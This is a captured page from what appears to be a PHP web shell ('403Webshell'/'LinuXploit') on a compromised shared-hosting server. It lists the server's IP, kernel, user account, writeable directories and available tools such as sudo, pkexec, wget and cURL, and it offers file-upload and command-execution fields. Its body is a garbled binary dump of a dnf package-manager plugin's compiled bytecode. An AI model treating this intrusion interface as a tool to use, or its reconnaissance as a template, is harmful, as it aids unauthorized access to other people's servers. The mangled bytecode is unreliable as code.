403Webshell
Server IP : 162.144.4.212  /  Your IP : 216.73.216.108
Web Server : Apache
System : Linux gator2125.hostgator.com 5.14.0-162.23.1.9991722448259.nf.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jul 31 18:11:45 UTC 2024 x86_64
User : cozeellc ( 2980)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /lib/python3.9/site-packages/dnf-plugins/__pycache__/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /lib/python3.9/site-packages/dnf-plugins/__pycache__/versionlock.cpython-39.pyc
a

�&c0�@sXddlmZddlmZddlmZmZddlZddlZddlZddl	Z	ddl
Z
ddlZddlZddl
Z
ddlZed�Zed�Zed�Zed�Zed	�Zed
�Zed�Zed�Zed
�Zed�Zed�Zed�Zed�ZdaGdd�dej�Zgd�ZddgZ dgZ!gd�ee e!Z"Gdd�dej#j$�Z%dd�Z&dd�Z'dd �Z(d!d"�Z)d#d$�Z*dS)%�)�absolute_import)�unicode_literals)�_�loggerNz-Unable to read version lock configuration: %szLocklist not setzAdding versionlock on:zAdding exclude on:z*Package already locked in equivalent form:zPackage {} is already lockedzPackage {} is already excludedzDeleting versionlock for:zNo package found for:z1Excludes from versionlock plugin were not appliedzCVersionlock plugin: number of lock rules from file "{}" applied: {}zFVersionlock plugin: number of exclude rules from file "{}" applied: {}z,Versionlock plugin: could not parse pattern:cs8eZdZdZ�fdd�Zdd�Zdd�Zdd	�Z�ZS)
�VersionLock�versionlockcs8tt|��||�||_||_|jdur4|j�t�dS)N)�superr�__init__�base�cliZregister_command�VersionLockCommand)�selfr
r��	__class__��;/usr/lib/python3.9/site-packages/dnf-plugins/versionlock.pyr	6s

zVersionLock.__init__cCs4|�|jj�}|�d�o.|�dd�o.|�dd�adS)N�main�locklist)Zread_configr
ZconfZhas_sectionZ
has_option�get�locklist_fn)r
Zcprrr�config=s
�zVersionLock.configcCs0|jdurd}n|jjj}|dur,|jjj}|S�NT)r�demandsZplugin_filtering_enabledZ	resolving)r
Zenabledrrr�locking_enabledCs


zVersionLock.locking_enabledc
Cs�|��st�t�dS|jj��jdd�}|jj��jdd�}t�}ddg}t	�D]�}d}|rz|ddkrz|dd�}d}t
j�|�j
tjtjtjtjtjgd�}|r�||d7<nt�dt|�qR|D]@}|�|jj�}	|r�|�|	�}n|�|j�|�|	�}|	r�qRq�qR|d�r0t�t�t|d��|d�rPt�t�t|d��|�r�|jj��jt|�d�}
|
�|�}|�|�}|jj��j |d	�}|�|�|��}|j tj!d
�|�r�|jj�"|�dS)NT)�emptyr�!�)Zforms�%s %s)Z
name__glob)Z	obsoletes)Z
reponame__neq)#rr�debug�NO_VERSIONLOCKr
�sack�query�filter�set�_read_locklist�dnf�subject�SubjectZget_nevra_possibilities�hawkeyZ
FORM_NEVRAZ	FORM_NEVRZFORM_NEVZFORM_NAZ	FORM_NAME�error�NEVRA_ERRORZto_query�union�add�name�
APPLY_EXCLUDE�formatr�
APPLY_LOCK�list�
differenceZfiltermZSYSTEM_REPO_NAMEZadd_excludes)
r
Zexcludes_queryZlocked_queryZlocked_names�count�patZexclZpossible_nevrasZnevraZ	pat_queryZall_versionsZother_versionsZobsoletes_queryrrrr LsT

��




zVersionLock.sack)	�__name__�
__module__�__qualname__r-r	rrr �
__classcell__rrrrr2s
	r)�excludezadd-!zadd!�delete�delZ	blacklist)r,�clearr1c@s8eZdZdZed�ZdZedd��Zdd�Z	dd	�Z
d
S)r)rzcontrol package version locksz5[add|exclude|list|delete|clear] [<package-nevr-spec>]cCs:|jdddtd�d�|jdddd	�|jd
ddd	�dS)
Nz--rawF�
store_truez@Use package specifications as they are, do not try to parse them)�default�action�help�
subcommand�?z[add|exclude|list|delete|clear])�nargs�metavar�package�*z[<package-nevr-spec>])�add_argumentr)�parserrrr�
set_argparser�s
���z VersionLockCommand.set_argparsercCsd|jj_d|jj_dSr)rrZsack_activationZavailable_repos)r
rrr�	configure�s
zVersionLockCommand.configurec	Cs�d}|jjr�|jjtvr2d}|jj�d|jj�nd|jjtvrDd}nR|jjtvr|td��|jj�}t	j
|tjj
dd�d}n|jjtvr�d}n|jj}|dk�rt|jj�}|D]b\}}|d	kr�t|j|g|jjd
dt��td	�q�||k�rtj�t�|���q�t�dt|�q��n�|dk�r�t|jj�}|D]f\}}|d	k�rjt|j|g|jjd
dt��td�n,||k�r�tj�t�|���nt�dt|��q2�nX|dk�r�t�D]}t|��q��n4|dk�rt�s�tj�t ��t!td��}Wd�n1�s0Yn�|dk�r�t�s(tj�t ��t"j#�$t�}t%j&|dd�\}	}
t�}d}t"�'|	dd��\}	|D]F}
t(|
|jj��r�tdt)|
f�|d7}�qd|	�*|
�|	�*d��qdWd�n1�s�0Y|�s�t"�+|
�nt"�,|
d�t"�-|
t�dS)Nr1r,rr9z@Subcommand '{}' is deprecated. Use 'exclude' subcommand instead.�)�
stacklevelr:�Tz
# Added lock on %s
rFz
# Added exclude on %s
rr<�wz.tmp)�dir�suffix���r�
i�).ZoptsrA�ALL_CMDSrE�insert�EXC_CMDS�DEP_EXC_CMDSrr/�warnings�warnr%�
exceptions�DeprecationWarning�DEL_CMDS�_search_locklist�_write_locklistr
�raw�time�ctime�ADDING_SPEC�Error�ALREADY_EXCLUDEDr�info�
EXISTING_SPEC�EXCLUDING_SPEC�ALREADY_LOCKEDr$�printr�NO_LOCKLIST�open�os�path�dirname�tempfileZmkstemp�fdopen�_match�
DELETING_SPEC�write�unlink�chmod�rename)r
�cmd�msg�results�entryZ	entry_cmdr4�frm�outZtmpfilename�locked_specsr3�entrrr�run�s��

�



�



"

.zVersionLockCommand.runN)r5r6r7�aliasesrZsummary�usage�staticmethodrIrJr~rrrrr�s
	rc
Cs�g}zptstj�t��tt��D}|��D]*}|�d�s(|��dkrDq(|�	|���q(Wd�n1sh0YWn4t
y�}ztj�t|��WYd}~n
d}~00|S)N�#rM)rr%rYrbrirj�	readlines�
startswith�strip�append�IOError�NOT_READABLE)rZllfile�line�errrr$�s
2&r$cCs|g}d}}t�}|D]`}d}|D]@}d}}t||g�r"|}|�d�rLdnd}|�||f�d}q"|s|�||f�q|S)NrMFrr9r,T)r$rpr�r�)rErx�foundr?r|�pkg�matchr}rrrr\�sr\c
CsLt�}|D]�}|r|�|�q
tj�|�}	d}
|rL|	jtj�|�dddd�}
|
sd|	j|jdddd�}
|
sxtdt	|f�|
D]}|�t
|j��q|q
|�rHzvts�tj
�t��ttd��F}|�|�|D]&}
td||
f�|�d||
f�q�Wd�n1�s0YWn6t�yF}ztj
�t|��WYd}~n
d}~00dS)NTF)Z
with_nevraZ
with_providesZwith_filenamesr�az%s%s
)r#r,r%r&r'Zget_best_queryr Z_rpmdb_sackrh�
NOTFOUND_SPEC�pkgtup2specZpkgtuprrYrbrirjrrr�r�)r
�argsr^Z
try_installedZcommentrd�prefixZspecsr4ZsubjZpkgsr�rz�specr�rrrr]s<
��
8r]cCs |�d�}|D]}||krdSqzt�|�}WntjyFYdS0d|jd|j|jfd|j|jfd|j|j|jfd|j|j|jfd	|j|j|j|jfd
|j|j|j|jfd|j|j|j|j|jfd|j|j|j|j|jff	D]&}|D]}t	�	||��r�dS�q�q�dS)
NrTFz%sz%s.%sz%s-%sz%s-%s-%sz%s-%s:%sz%s-%s-%s.%sz%s-%s:%s-%sz%s:%s-%s-%s.%sz%s-%s:%s-%s.%s)
�lstripr(Zsplit_nevraZValueExceptionr-�arch�version�release�epoch�fnmatch)r}�patternsr4�nr-rrrrp#s,
�rpcCsd||p
d||fS)Nz
%s-%s:%s-%s.*�0r)r-r�r�r�r�rrrr�=sr�)+Z
__future__rrZdnfpluginscorerrr%Zdnf.cliZdnf.exceptionsr�r(rkrnr_rWr�rirarfrergrcrqr�rr0r.r*rZPluginrrUr[rVrSrZCommandrr$r\r]rpr�rrrr�<module>sHO[ 

Youez - 2016 - github.com/yon3zu
LinuXploit